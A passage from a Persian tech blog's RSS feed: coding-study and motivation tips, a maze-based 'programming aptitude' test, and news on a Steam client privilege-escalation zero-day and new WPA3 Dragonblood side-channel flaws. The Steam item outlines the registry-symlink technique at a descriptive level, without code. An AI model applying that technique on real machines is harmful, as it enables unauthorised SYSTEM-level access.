اشتباه کردن نترسید:این می تونه برای اکثر ما مشکل باشه ، اما این یکی از نکات مهم برای یادگیری کدنویسی است.دنیای مدرن آنقدر روی تلاش برای کارآیی ، کمال و موفقیت متمرکز شده که بیشتر مردم به طور ناخودآگاه به طرز وحشتناکی از اشتباه کردن می ترسند.هنگام یادگیری کد نویسی ، سعی کنید مراقب باشید تا کنجکاوی خودتون رو به دست بگیرد. این قدرتمندترین دارایی است که  دارین. از اون استفاده کنید تا ذهن خودتون رو برای امتحان کردن چیزهای جدید و یادگیری با انجام آن باز کنید.من می گم شخصی که اشتباه نمی کند ، پیشرفتی هم ندارد. نگران نباشید ، ذهن خودتون رو متمرکز نگه دارید و پیشرفت خودتون رو ردیابی کنید. به این ترتیب همیشه می توانید به یادداشت های خود نگاهی بیندازید و ببینید تا چه اندازه به این مرحله رسیده اید.4- درخواست کمک کنید:برای هر کسی که در حال یادگیری چیزهای جدید است ، مواجهه با اوقات دشوار اجتناب ناپذیر است. این بخشی از روند یادگیری است و فقط نشان می دهد که شما از منطقه راحتی خود خارج می شوید.خوشبختانه ، جامعه جهانی عظیمی وجود دارد که هنگام سقوط شما رو به دام می اندازه. به یاد داشته باشید که صدها نفر با همان سؤالاتی که ممکن است از خودتان بپرسید ، دست و پنجه نرم کرده اند. این افراد به احتمال زیاد خوشحال می شوند که به شما کمک کنند.از این رو ، کنجکاو باشید ، به سؤال بپردازید و برای پشتیبانی و کمک در هنگام نیاز به انجمن های گفتگو بروید. مثل stack over flow5-سعی نکنید همه چیز را بیاموزید:هنگامی که شروع به یادگیری کد نویسی می کنید ، تمام فنی و اصطلاحات ممکن است به راحتی خسته کننده به نظر برسند. می تونم کاملاً به شما اطمینان بدم که این فقط موقتی است.در ابتدا ، هر آنچه که می خونید و یاد می گیرید جدید است. به خودتان سخت نگیریدو به خودتان اجازه دهید وقتتان را بگذرانند. هنگامی که مغز شما همزمان خیلی چیزهای جدید را پردازش می کند ، تمایل دارید تمرکز خود را از دست دهید. این زمانی است که ناامیدی و بی اشتهایی وارد می شود.اگر این به نظر آشناست ، کمی استراحت کنید و بذارید مغز شما کمی استراحت کند.به عنوان مثال ، برای بقیه روز کاری کاملاً متفاوت انجام دهید.سر به بیرون بروید ، پیاده روی کنید و فردا به سوالات خود بازگردید.6- تمرین روزانه :تکرار ، تمرکز  این همان چیزی است که موفقیت حاصل می شود!کلید یادگیری برنامه نویسی و تسلط بر هنر برنامه نویسی نیاز به یک تمرین مداوم و روزانه دارد.جلسه برنامه نویسی شما لازم نیست هر روز یکسان باشد. به سادگی به مغز خود چیزی برای پردازش روزانه بدهید. این کار انتقال صافی از حافظه کوتاه مدت شما به حافظه بلند مدت است. می دونم این چقدر دشوار هست .بنابراین چگونه می تونم انگیزه خودم رو در آن روزهایی پیدا کنم که اصلاً احساس کدنویسی نداشته باشم؟من به راحتی نگاه می کنم که چقدر به اینجا رسیده ام و به خودم یادآوری می کنم که همه چیزهای بزرگی را که هنوز در راه است است. سپس لپ تاپمو باز می کنم و 30 دقیقه تمرین می کنم. این حداقل من برای خودم تعیین کرده ام ، اما وقت روزانه شما می تونه کاملاً متفاوت باشد.و این خبر خوب است: در بیشتر روزها فقط 30 دقیقه احساس یادگیری خواهید کرد. اگر واقعاً برای یادگیری برنامه نویسی انگیزه دارید ، احتمالاً در ایجاد روال روزانه از آن مشکلی نخواهید داشت.شما می توانید این کار را انجام دهید!7- مهارت های جدید خود را اعمال کنید:الان که چیزهای جدید را یاد می گیرید و هر روز بهتر می شوید ،هدف از یادگیریتون چیه ؟ شاید از روزی که شروع کرده اید ، یک پروژه در ذهن خودتون داشته باشید؟استفاده از مهارتهای خود در موارد دیگر ، صرفاً تمرینهای دوره ای ، درک شما رو از این موضوع عمیق تر می کند. همچنین می تونید از خودتون سؤالات بیشتری بپرسید ، پاسخ های جدید پیدا کنید و روش های جدید حل مشکلات را بیاموزید. هرچه می خواهید ایجاد کنید ، در اسرع وقت شروع کنید. این احساس خوب است که فاقد مهارت لازم برای اتمام اولین پروژه خود هستید. آنچه بیشتر از همه اهمیت دارد این است که شما برنامه ای دارید. با یک برنامه ریزی دقیق ، میدونید که چه مراحل دیگری برای اتمام پروژه لازم است.باور کنید ، هنگامی که شما برای اولین بار شروع به یادگیری کد نویسی می کنید ، حتی رسیدن به یک قدم کوچک به هدف خود بسیار جذاب می شود!8-متمرکز شوید:هنگامی که شروع به یادگیری کد نویسی می کنید ، فقط با یک زبان برنامه نویسی شروع کنید و مدتی با آن بچسبانید.قبل از کاوش در زبان های دیگر، اون زبان رو به خوبی یاد بگیرید. هنگامی که شما به یک زبان تسلط پیدا کنید ، انتخاب کردن زبان دیگر  بسیار ساده تر می شود.منظور من این نیست که نباید به اطراف نگاه کنید ، کاملاً برعکس. شما متوجه خواهید شد که نسبت به سایر زبان های برنامه نویسی نیز کنجکاو می شوید. این خیلی خوب و در واقع نشانه علاقه واقعی به یادگیری برنامه نویسی است.به سادگی هر آنچه رو که می خواهید در آینده بیاموزید یادداشت کنید. نوشتن کارها،اونارو از سرتون خارج می کند و فضای شما رو آزاد می کند و بهتون امکان می دهد تا در حال حاضر روی آنچه می خواهید تمرکز کنید9- اگر می توانید یک مربی را پیدا کنید:شما وقتی از همه چیزهای جدیدی که یاد می گیرید هیجان زده می شوید ، می دونید ، اما ناگهان مطمئن نیستید که اونارو به درستی درک کرده اید؟من این احساس را می دونم - و خلاص شدن از اون بسیار آسونه . سعی کنید کسی رو پیدا کنید که قبلاً جواب همان سؤالات رو پیدا کرده باشه. این شخص می تواند فردی باشد که شما از قبل می شناسید یا شخصی از یک گروه محلی ، در تماس با اونا دریغ نکنید و از اونا سؤال کنید که آیا اونا می تونند به شما کمک کنند یا خیراز طرف دیگر ، می تونید در انجمن های مختلف بحث و گفتگو  ، کمک و پشتیبانی پیدا کنید. بعداً ، پس از تجربه کردن ، به یاد بیاورید که با کمک به دیگران ، به جامعه بازگردید. به سادگی هر بار دیگر از میان انجمن مورد نظر خود مرور کنید و ببینید آیا می توانید به سوال شخص دیگری در آنجا پاسخ دهید.10- مسیر یادگیری خود را دنبال کنید:پیگیری یادگیری شما یکی از بهترین نکات برای یادگیری برنامه نویسی است که تاکنون خواهید شنید. وقتی شروع به یادگیری نحوه کد نویسی می کنید ، اغلب دشوار هست که بگویید پیشرفت می کنید یا در واقع یاد می گیرید. پیگیری یادگیری شما بهتون توی تمرکز و انگیزه ماندن کمک می کند.هر زمان که فاقد انگیزه یا انگیزه ای برای ادامه کار باشید ، به گذشته نگاه کنید تا جایی که قبلا آمده اید مفیدترین چیزی است که می توانید تصور کنید. دیدن اینکه موفق شده اید تمام آن مراحل را به سمت هدف خود انجام دهید ، چیزی است که شما را بر روی پایتان باز می گرداند.</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Tue, 03 Sep 2019 21:56:51 +0430</pubDate>
            </item>
                    <item>
                <title>انگیزه برنامه نویسی</title>
                <link>https://virgool.io/apieco/%D8%A7%D9%86%DA%AF%DB%8C%D8%B2%D9%87-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-jxmqb24d2etk</link>
                <description>قبل از اینکه در مورد انگیزه برای برنامه نویسی صحبت کنیم باید ببینیم اصلا انگیزه چی هستش، شاید گفت انگیزه مجموعه ای از خیلی چیزهاست مثل ترس یا حتی میل شدید برای انجام کاری، که باعث میشه شما وادار بشید اون کار رو انجام دهید. به نظرم انگیزه اولین چیزی هستش که یک شخص باید داشته باشد. مثلا خود من همین الان که این مقاله رو برای انگیزه برای برنامه نویسی می نویسم یک انگیزه ای دارم که اقدام به نگارش و تولید آن کردم. پس شما هم برای هر کاری، اولین چیزی که باید به آن توجه ویژه داشته باشید همین بحث انگیزه هستش، پس ما باید یاد بگیریم حتی در شرایطی که بی حوصله هستیم در خودمون ایجاد انگیزه کنیم.انگیزه برای برنامه نویسی در ابتدای یادگیریاگر در ابتدای راه هستید و فعلا یادگیری و آموزش برنامه نویسی رو شروع نکردید می تونید از روشی که شخصا استفاده می کنم بهره ببرید. من وقتی که می خواهم چیز جدیدی رو یاد بگیرم یه برگه میارم و برگه رو به دو بخش مساوی تقسیم می کنم در یک سمت مزیت های یادگیری آن مهارت و تخصص رو یادداشت می کنم و در سمت دیگری سختی هایی که باید بکشم برای یادگیری آن تخصص، بعد اگر مزیت های یادگیری بیشتر از سختی بود سریع اقدام به یادگیری آن مهارت می کنم.اگر بخواهیم برای برنامه نویسی همین مورد رو پیاده سازی کنیم به تعداد زیادی مزیت میرسیم که واقعا اگر تو یه برگه بنویسیم خودش بمب انگیزه میشهتا این لحظه در مورد انگیزه برای برنامه نویسی در ابتدای راه صحبت کردیم و یک روش کاربردی و قابل اجرا رو مورد بررسی قرار دادیم. حالا باید بریم سراغ مسیر یادگیری برنامه نویسی، که خیلی خیلی مهم تر از ابتدا و بخش استارت هستش، چون خیلی ها شروع می کنند خوبم شروع می کنند ولی وسط کار، سوخت انگیزه شون به شدت کاهش پیدا می کنه یا کلا تموم میشه، باید در این لحظه به فکر مسیر هم باشیم. در بخش زیر در مورد انگیزه برای برنامه نویسی در ادامه راه کامل صحبت می کنیم و چند راهکار عملی و کاربردی و البته قابل اجرا معرفی می کنیم.انگیزه برای برنامه نویسی در ادامه مسیروقتی شما می خواید از تهران به سمت شمال مثلا رامسر برید از تهران که راه می افتید سریع و بدون توقف که سمت رامسر نمیرید. معمولا هر ۵۰ کیلومتر کنار میزنید و یه نفسی چاق می کنید یا مثلا در کندوان کنار میزنید و آشی می خورید و در ادامه مسیر کنار میزنید و چایی می خورید یا اصلا برای بنزنین زدن کنار میزنید. اینجوری هستش که از مسیر لذت میبرید و اصلا هم خسته نمیشید و جالبی کار هم اینه، کل مسیر رو طی کردید.مسیر یادگیری برنامه نویسی هم همینطوری هستش، اگر بخواید تخت گاز برونید هیچ وقت به مقصد نمیرسید و یه جایی، بنزین تموم می کنید و کلا بیخیال مسیر و ادامه راه میشید. پس باید این مسیر رو آهسته و پیوسته طی کنید تا هم از مسیر لذت ببرید و هم چیزهای زیادی رو یاد بگیرید و در آخر بنزینتونم تموم نشه، به همین خوشمزگی می تونید یک برنامه نویس سرحال و با انگیزه باشید. حالا در اینجا می خواهیم بدونیم در طول مسیر یادگیری برنامه نویسی اون چایی و آشی که تو کندوان خوردیم چی هستند و باید چیکار کنیمنوک قله رو دریابمعجزه ای به نام ورزشبه خودتون جایزه بدیداتاق مرگتلویزیون لعنتیافراد منفی گرا به درکشب = لالا??۱- نوک قله رو دریاباگر از خودم در مورد انگیزه برای برنامه نویسی در ادامه مسیر بپرسند میگم نوک قله رو ببینید. شما می خواید برنامه نویسی رو واسه چی یاد بگیرید یه هدفی دارید دیگه، مثلا من می خوام برنامه نویسی رو یاد بگیرم که به درآمد خوب برسم، هر وقت انگیزم تموم شد به این فکر می کنم اگر یاد بگیرم اون درآمد ایجاد میشه می تونم بهتر زندگی کنم، چیزهایی که لازم دارم یا اصلا بهشون علاقه دارم رو بخرم. یا اصلا می تونم از این پولی که به دست آوردم سمت علایقم برم. به این مدل میگن دیدن نوک قله، که شخصا استفاده می کنم و برای شخص خودم انگیزه زیادی ایجاد میکنه.۲- معجزه ای به نام ورزششاید بپرسید ورزش چه ربطی به انگیزه برای برنامه نویسیدارد. اما به نظر شخصی خودم ورزش دوای هر دردی هستش، ورزش بی حوصلگی و انرژی منفی رو از ما کامل دور میکنه و یک انرژی عجیب و غریب در وجود ما شکل می گیرد. پیشنهاد میکنم امتحان کنید یکی دو هفته اولم شاید حوصله نداشته باشید ولی لطفا ادامه بدید و خودتون نتیجه رو ببینید تا متوجه شوید این ورزش چه می کند.هر نوع ورزشی که خودتون دوست دارید انجام بدید ولی شخصا برای کسانی برنامه نویسی انجام میدن دو میدانی و شنا رو پیشنهاد میدم اگرم تونستید هفته ای سه جلسه بدن سازی برید که فرم بدنتون بهم نخوره و یک استایل خوب داشته باشید. دلیل قرار گرفتن ورزش در این لیست همین از بین بردن بی حوصلگی و انرژی های منفی هستش که همین دو عامل انگیزه ما رو به شدت کم میدهند.۳- به خودتون جایزه بدیدیکی دیگر از روش های ایجاد انگیزه، دادن جایزه به خودتون هستش، خودم به شخصه این کار رو می کنم مثلا به خودم قول دادم اگر این مقاله رو امروز تموم کنم یک چایی با یک موزیک خوب گوش بدم. من عاشق چایی و موزیکم و به نظرم این بهترین جایزه دنیاست. شما هم همین کار رو انجام بدید ببینید چه چیزی برای شما جایزه محسوب میشه، بگید اگر مثلا این آموزش برنامه نویسی رو دیدم و تمرینات رو انجام دادم یا مثلا پروژه رو تا این بخش جلو بردم می تون مثلا یه قهوه ترک بخورم یا هر چیزی که احساس می کنید بهتون حس خوبی منتقل میدهد.۴- اتاق مرگاین روش یکم استرس زاست اما به نظرم برای بعضی افراد خوب جواب میده، خودم اصلا از این روش استفاده نکردم ولی بعضی ها رو میشناسم استفاده می کنند. این روش اینطوریه که، فکر می کنید داخل یک اتاق هستید و اگر کار مورد نظر رو در زمان مشخص انجام ندید شما رو می کشند به نظرم مقداری خشن و استرس زاست ولی برای بعضی ها به شدت جواب میده، شخصا چون علاقه ای به استرس، حتی در حد کمشم ندارم استفاده نمی کنم.ولی بعضی ها رو میشناسم که با همین روش، اندازه دو سه نفر، کار روزانه انجام میدهند و وقتی بهشون توجه می کنی انگار کسی با اسلحه رو سرشونه و در حال تهدید بهشون فشار میاره، که اگر این کار رو انجام ندی تا چند لحظه دیگه کشته می شی، از این روشم استفاده کنید شاید برای شما هم جواب بده و بتونید یک انگیزه خوب برای یادگیری و انجام پروژه های برنامه نویسی باشد۵- تلویزیون لعنتیبه جرات میگم بیش از ۵۰ درصد بی انگیزگی افراد همین تلویزیون لعنتی هستش. خدایش تلویزیون به جز منفی بافی، ترویج خشونت، تلف کردن وقت، نابود کردن انگیزه، ایجاد عدم امنیت و … کار دیگه ای انجام میده؛ نزدیک ۹ سال میشه کلا این وسیله رو از زندگیم حذف کردم و اصلا نگاه نمی کنم جز موارد خاص، مثلا بازی های جام جهانی یا رویدادهای خاصی که موجب انگیزه و هیجان بشه و گرنه در سال کلا ۱۰ ساعت تلویزیون نمی بینم.۶- افراد منفی گرا به درکشاید عنوان خوب و درستی نباشه، اما قبول کنید وقتی با این افراد میگردید و باهاشون در ارتباط هستید از بس منفی هستند و دنبال بهونه برای منفی بافی اند، که کلا آدم رو بی انگیزه می کنند. اگر از این لیست به من بگن دو گزینه برایایجاد انگیزه برای برنامه نویسی معرفی کن بی شک یکی از آن گزینه ها، همین کنار گذاشتن افراد منفی گرا هستش، متاسفانه در جامعه ما این افراد به شدت وجود دارند اما مشکلی نیست اگر کنارشون بذارید وضعیتتون فرق می کند و به سمت انگیزه بیشتر و پیشرفت قدم بر میدارید.معمولا این افراد همیشه در حال ارسال فرکانس های منفی به سمت ما هستند و چون قانون دفع وجود ندارد و کلا ما همه چیز رو جذب می کنیم بعد از مدتی کل انگیزمون حتی برای زندگی از دست میدیم نه فقط برنامه نویسی، اصلا هم نگران نباشید که دوست هستند یا همکار یا آشنا، کنارشون بذارید بعد از مدتی، افراد مثب اندیش و دوست داشتنی وارد زندگیتون میشند.۷- شب = لالادوستان عزیز وقتی تایم کافی نمی خوابید وقتی بیدار میشید حس کسلی، بی حوصلگی و بی انگیزگی می کنید. حتما با این افراد روبرو شدید.مثلا خودم وقتی شب ها دیر می خوابم صبح وقتی از خوابی بیدار میشم انگار یه آدم بی انگیزه هستم که فقط منتظر اینم شکست بخورم. پیشنهاد میکنم یک ماه زودتر بخوابید و تاثیرشو رو ببینید. اگر انگیزه شما مقدار قابل توجه ای افزایش پیدا نکرد کلا بیخیالش بشید و هر چی دوست دارید به من بگید. این تجربه ای هستش که شخصا تو زندگی کسب کردم و از وقتی که دارم انجام میدم خیلی وضعیت فرق کرده و احساس بهتری هم پیدا کردم.</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Sat, 31 Aug 2019 12:25:13 +0430</pubDate>
            </item>
                    <item>
                <title>تست استعداد برنامه نویسی</title>
                <link>https://virgool.io/@bambootech/%D8%AA%D8%B3%D8%AA-%D8%A7%D8%B3%D8%AA%D8%B9%D8%AF%D8%A7%D8%AF-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-qxikhg8txbct</link>
                <description>برنامه نویسی، حل و پیدا کردن راه حل برای یک مسئله می باشد. و اگر بخواهیم ساده تر بیان کنیم سیستمی کردن یک امر فیزیکی، مثلا شما یک باشگاه بدن سازی دارید می خواید کارها رو سیستمی کنید در این زمان برنامه نویسی به کار میاد. اگر بتونید این تست استعداد برنامه نویسی رو حل کنید به نظرم می توان گفت شما یک استعداد برای برنامه نویسی هستیدمعمولا در روز، مغز ما وارد مسائل پیچیده ای می شود که به مسائل تو در تو یا هزارتو معروف هستند اگر مغز شما توانایی گذر از این هزارتو ها رو داشته باشد و در طول مسیر بتواند، توقف بزند و دوباره بررسی کند از چه مسیری آمده است و شروع افکار شما دقیقا کجا بوده و از کجا وارد این فکر شده است می توان گفت مغز تحلیل گر و فعالی برای برنامه نویسی دارید.معمولا روزانه مغز ما هزاران فکر واردش می شود که این افکار تو در تو و پیچیده هستند، حالا اگر بین این افکار تو در تو، یک توقف بزنید و بدونید از کجا و چطور این افکار وارد مغز شما شده اند و چه مسیری رو سپری کردند می توان گفت مغز شما به شدت برای برنامه نویسی آماده است.Backtracking Testخب بریم سراغ تست استعداد برنامه نویسی تا ببینیم اصلا می تونیم یه برنامه نویس موفق شویم. کسانی که نرم افزار خوندن، درسی با نام طراحی الگوریتم دارند که در این درس، با روشی برای طراحی الگوریتم آشنا می‌شوند به نامBacktracking یا به فارسی عقبگرد؛ در این روش شما برای یافتن پاسخ مساله باید تمام مسیرهای مسأله که ممکن است پاسخ در آن مسیر باشد را پیمایش کنید و در نهایت به یک پاسخ صحیح برسید. وقتی به دنبال پاسخ، وارد یکی از مسیرها می‌شوید، هر چقدر هم که داخل رفتید، باید حواستان باشد که الان کجا هستید و مسیر برگشت کجا بود و مسیرهای باقیمانده کدام ها هستند.نمونه مشهور مسائل مربوط به این نوع الگوریتم ها، مساله Maze یا همون هزارتو است که در بخش زیر یک نمونه از این مسئله رو آوردیم. به نظرم اگر دنبال تست استعداد برنامه نویسی هستید از این مدل نمونه ها رو حل کنید تا هم میزان قدرتون در این زمینه مشخص شود هم مغزتون فعال تر شود.حتما این تست استعداد برنامه نویسی رو امتحان کنید و ببینید وقتی دارید مسیر رو پیدا می کنید آیا در وسط مسیر میدونید از کجا امدید و اگر برگردید دوباره راه رو پیدا می کنید. شاید در دید اول بسیار ساده و ابتدایی حساب شود اما به نظرم اگر بتونید راه رو پیدا کنید و در وسط راه توقف کنید و دوباره بگردید و بازم ادامه بدید مغز به شدت فعالی دارید و به نظرم شما می توانید یک برنامه نوسی به احتمال زیاد موفق شوید.ارتباط تست استعداد برنامه نویسی با سخنرانیبه نظرم این تست استعداد برنامه نویسی تو سخنرانی هم خودشو رو نشون میده، معمولا سخنران های حرفه ای میدونند از کجا شروع کردند الان کجا هستند و ادامه مسیر رو هم خودشون تعیین می کنند. این تست رو بزنید اگر واقعا قوی بودید به نظرم تو سخنرانی هم جواب میگیرید. البته کسانی که سخنران های خوب و کار بلدی هستند و در حین صحبت کردن میدونند از کجا شروع کردند و رشته سخن از دستشون در نمیره به احتمال زیاد، برنامه نویس های خوبی می شوند.شاید بارها سخنران هایی رو دیده اید که از شاخه ای به شاخه دیگر می پره و آخر نه خودش متوجه شده چی گفته نه مخاطبانی که شنونده هستند و یه مشت مباحث ناقص و بی ربط به هم رو ارائه کرده است. اما سخنران هایی که مغزی فعال و به قول ما الگوریتمی داره، اگر ده ها بحث رو باز کنه، باز هم راحت به عقب بر میگردد و میدونه از کجا شروع کرده و داره به کجا می رود.افزایش درک و قدرت مغزشاید فکر کنید این فقط یک آزمون هستش و بعد از اون تموم؛ ولی پیشنهاد میکنم اگر می خواهید یک برنامه نویس خوب یا حتی یک شخصی باشید که مغزتون رو پرورش دهید و قدرت درک آن را بالا ببرید به نظرم این آزمون به شدت به درد شما می خورد و مغز شما رو چالشی رشد میدهد. با استفاده از این تست شما پشت سر هم بدون هزینه خاصی می توانید در هر جا که هستید مغز خود را نرمش دهید. به نظرم برنامه نویس ها باید روزانه، از این تست استفاده کنند. یعنی یه ۱۰۰ مدل از این تست ها بگیرند و پشت سر هم حل کنند تا هم نرمشی برای مغزشون باشه هم اینکه بتوانند مسائل رو راحتر و بدون هیچ مشکلی حل کنند</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Thu, 29 Aug 2019 19:07:58 +0430</pubDate>
            </item>
                    <item>
                <title>آسیب پذیری zeroday استیم بیش از 100 میلیون کاربر را تحت تأثیر قرار می دهد</title>
                <link>https://virgool.io/@bambootech/%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-zeroday-%D8%A7%D8%B3%D8%AA%DB%8C%D9%85-%D8%A8%DB%8C%D8%B4-%D8%A7%D8%B2-100-%D9%85%DB%8C%D9%84%DB%8C%D9%88%D9%86-%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1-%D8%B1%D8%A7-%D8%AA%D8%AD%D8%AA-%D8%AA%D8%A3%D8%AB%DB%8C%D8%B1-%D9%82%D8%B1%D8%A7%D8%B1-%D9%85%DB%8C-%D8%AF%D9%87%D8%AF-zrfzllekpzad</link>
                <description>سرویس گیرنده محبوب بازی Steam برای ویندوز دارای خطرات  در برابر آسیب پذیریzero day است که می تواند به مهاجمی با مجوزهای محدود اجازه دهد تا یک برنامه را به عنوان adminstrator اجرا کند.آسیب پذیری های تشدید پذیر، اشکالاتی هستند که به یک کاربر دارای دسترسی محدود امکان راه اندازی یک اجرایی با امتیازات بالاتر یا adminstrator را می دهند. با داشتن بیش از 100 میلیون کاربر ثبت شده Steam که  میلیون ها نفر از آنها همزمان بازی می کنند ، این یک خطر جدی است که می تواند توسط بدافزارها برای انجام انواع فعالیت های ناخواسته مورد سوء استفاده قرار بگیرد.دو محقق پس از تشخیص سوپاپ Valve ، میزان آسیب پذیری zero day را برای مشتری Steam افشا کردند. هنگامی که این آسیب پذیری به برنامه Valve در HackerOne ارسال شد ، این شرکت تصمیم گرفت که جایزه رفع باگ را ندهد یا نشانه ای مبنی بر برطرف کردن آن باگ منتشر نکند ، و به محققان گفت که مجاز به افشای آن نیستند.در گزارشی که منتشر شد ، محقق امنیتی فلیکس در حال تجزیه و تحلیل سرویس ویندوز مرتبط با مشتری Steam به نام &quot;Steam Client Service&quot; بود. با شروع این سرویس ، این سرویس با امتیازات SYSTEM در ویندوز ، اجرایی شد. این محقق همچنین متوجه شده است که این سرویس توسط گروه &quot;کاربر&quot; شروع می شود و متوقف می شود که تقریباً هر کسی در رایانه وارد سیستم شده است.کلید رجیستری این سرویس ،اگرچه توسط گروه &quot;کاربر&quot; قابل نوشتن نیست ، بنابراین نمی توان برای راه اندازی یک اجرایی متفاوت و بالا بردن دسترسی آن برای یک ادمیمن تغییر داد.محقق چیز عجیب و غریب پیدا کرد. هنگامی که این سرویس شروع و متوقف شد ، به گروه &quot;کاربران&quot; امکان دسترسی کامل نوشتن به subkeys را با کلید زیر داد HKLM \ Software \ Wow6432Node \ Valve \ Steam \ Apps Registryسپس محقق سعی کرد پیکربندی سیملینک را از یکی از این کلیدهای زیر را به کلید دیگری که مجوزهای کافی برای آن نداشت ، پیکربندی کند. پس از راه اندازی مجدد سرویس ، وی دید که اکنون امکان تغییر آن کلید نیز وجود دارد.با استفاده از این دانش ، محقق فهمید که می توان هر کلید Registry را با ایجاد سیملینک از زیر کلید تحت HKLM \ Software \ Wow6432Node \ Valve \ Steam \ Apps به یک کلید امن Registry و سپس مجدداً راه اندازی مجدد سرویس تغییر داد.این امر می تواند باعث شود سرویسی که که دارای دسترسی  SYSTEM باشد ، تغییر داده شود به گونه ای که برنامه ای متفاوت با دسترسی بالا را راه اندازی کند.ساختارPoC توسط محقق دیگری فاش شده استپس از آنكه فلیكس این آسیب پذیری را در یك نوشته فاش كرد ، محقق دوم به نام مت نلسون كه به دلیل كشف آسیب پذیری ها تحت نام های enigma0x3 مشهور است ،POC را در GitHub به اشتراک گذاشت كه از این نقص سوءاستفاده می كند.برای مشاهده مطالب و آموزش های بیشتر به کانال تلگرامی ما مراجعه کنید:@BambooTech</description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Tue, 13 Aug 2019 01:08:48 +0430</pubDate>
            </item>
                    <item>
                <title>محققان روشهای جدیدی برای هک کردن کلمه عبور محافظت شده از WiFi WPA3 کشف کردند</title>
                <link>https://virgool.io/@bambootech/%D9%85%D8%AD%D9%82%D9%82%D8%A7%D9%86-%D8%B1%D9%88%D8%B4%D9%87%D8%A7%DB%8C-%D8%AC%D8%AF%DB%8C%D8%AF%DB%8C-%D8%A8%D8%B1%D8%A7%DB%8C-%D9%87%DA%A9-%DA%A9%D8%B1%D8%AF%D9%86-%DA%A9%D9%84%D9%85%D9%87-%D8%B9%D8%A8%D9%88%D8%B1-%D9%85%D8%AD%D8%A7%D9%81%D8%B8%D8%AA-%D8%B4%D8%AF%D9%87-%D8%A7%D8%B2-wifi-wpa3-%DA%A9%D8%B4%D9%81-%DA%A9%D8%B1%D8%AF%D9%86%D8%AF-maorkldffn1d</link>
                <description>همان تیمی از محققان امنیت سایبری که چندین آسیب پذیری شدید را که به طور جمعی با عنوان Dragonblood لقب گرفته اند ، کشف کرده اند ، در استاندارد امنیتی جدید WPA3 WiFi که چند ماه پیش راه اندازی شده بود ، اکنون دو عیب دیگر را کشف کرده اند که می تواند به مهاجمان اجازه دهد رمزهای WiFi را هک کنند.حالت WPA ، یا WiFi Protected Access ، یک استاندارد امنیتی WiFi است که به منظور احراز هویت دستگاه های بی سیم با استفاده از پروتکل Advanced Encryption Standard (AES) طراحی شده است و در نظر گرفته شده است که از هکرها در جلوگیری نفوذ به  بی سیم شما جلوگیری کند.پروتکل WiFi Protected Access III )WPA3) یک سال پیش در تلاش برای رفع نقایص فنی پروتکل WPA2 از سطح زمین راه اندازی شد که مدت هاست ناامن تلقی می شود و در برابر حملات شدیدتر KRACK آسیب پذیر است.حالت WPA3 به دستیابی ایمن تر با نام SAE (تأیید همزمان ) که به Dragonfly نیز معروف است ، متکی است که هدف آن محافظت از شبکه های WiFi در برابر حملات دیکشنری  آفلاین است.با این حال ، در کمتر از یک سال ، محققان امنیتی  Mathy Vanhoef  و Eyal Ronen چندین ضعف (Dragonblood) را در اجرای اولیه WPA3 مشاهده کردند که به یک مهاجم اجازه می دهد رمزهای عبور WiFi را با سوء استفاده از زمانبندی یا نشت کانال جانبی مبتنی بر حافظه نهان بازیابی کند.اندکی پس از افشای آن  ، اتحاد WiFi ، سازمان غیر انتفاعی که نظارت بر اتخاذ استاندارد WiFi را دارد ، برای رفع این مشکلات وصله هایی را منتشر کرد و توصیه های امنیتی برای کاهش حملات اولیه Dragonblood ایجاد کرد.اما معلوم است که آن توصیه های امنیتی ، که بصورت خصوصی و بدون همکاری با محققان ایجاد شده اند ، برای محافظت از کاربران در برابر حملات Dragonblood کافی نیست. در عوض ، دو حمله کانال جانبی جدید را باز می کند ، که یک بار دیگر به مهاجمان اجازه می دهد رمز عبور WiFi شما را حتی اگر از آخرین نسخه پروتکل WiFi استفاده می کنید ، سرقت کنند.حمله جانبی کانال جدید علیه WPA3 هنگام استفاده از منحنی های Brainpoolاولین آسیب پذیری ، که با عنوان CVE-2019-13377 شناخته شده است ، یک حمله جانبی کانال مبتنی بر زمان در برابر استفاده از W Dragon3&#x27;s Dragonfly هنگام استفاده از منحنی های Brainpool است ، که اتحاد WiFi به فروشندگان توصیه می کند که از یکی از توصیه های امنیتی برای اضافه کردن لایه دیگری از امنیت استفاده کنند. . حتی اگر توصیه های اتحاد WiFi رعایت شود ، پیاده سازی ها در معرض خطر حملات هستند.&quot;محققان گفتند: &quot;نشت کانال جانبی جدید در الگوریتم رمزگذاری رمز عبور از Dragonfly قرار دارد ،&quot; محققان گفتند: &quot;ما نشت جدید Brainpool را در عمل در برابر آخرین نسخه Hostapd تأیید کردیم و توانستیم با استفاده از اطلاعات فاش شده ، پسورد را brute-force کنیم . &quot;&quot;حمله جانبی کانال علیه اجرای EAP-PWD FreeRADIUSآسیب پذیری دوم ، با عنوان CVE-2019-13456 شناخته شده است ، یک اشکال نشت اطلاعات است که در اجرای EAP-pwd (Extensible Authentication Protocol-Password) در FreeRADIUS - یکی از پرکاربردترین سرورهای منبع باز RADIUS است که شرکت ها از آن استفاده می کنند. یک پایگاه داده مرکزی برای تأیید هویت کاربران از راه دور.ماتیو وانئوف ، یکی از دو محقق که نقص Dragonblood را کشف کرد ، به The Hacker News گفت که یک مهاجم می تواند چندین EAP-pwd را برای نشت اطلاعات آغاز کند ، که از این طریق می توانید با انجام دیکشنری آفلاین ، پسورد WiFi کاربر را brute-force کنید. </description>
                <category>Bamboo Tech</category>
                <author>Bamboo Tech</author>
                <pubDate>Mon, 05 Aug 2019 21:07:33 +0430</pubDate>
            </item>
                    <item>
                <title>کمی عمیق تر درباره آسیب پذیری XXE Injection</title>
                <link>https://virgool.io/@bambootech/%DA%A9%D9%85%DB%8C-%D8%B9%D9%85%DB%8C%D9%82-%D8%AA%D8%B1-%D8%AF%D8%B1%D8%A8%D8%A7%D8%B1%D9%87-%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-xxe-injection-a4exhgjocuyr</link>
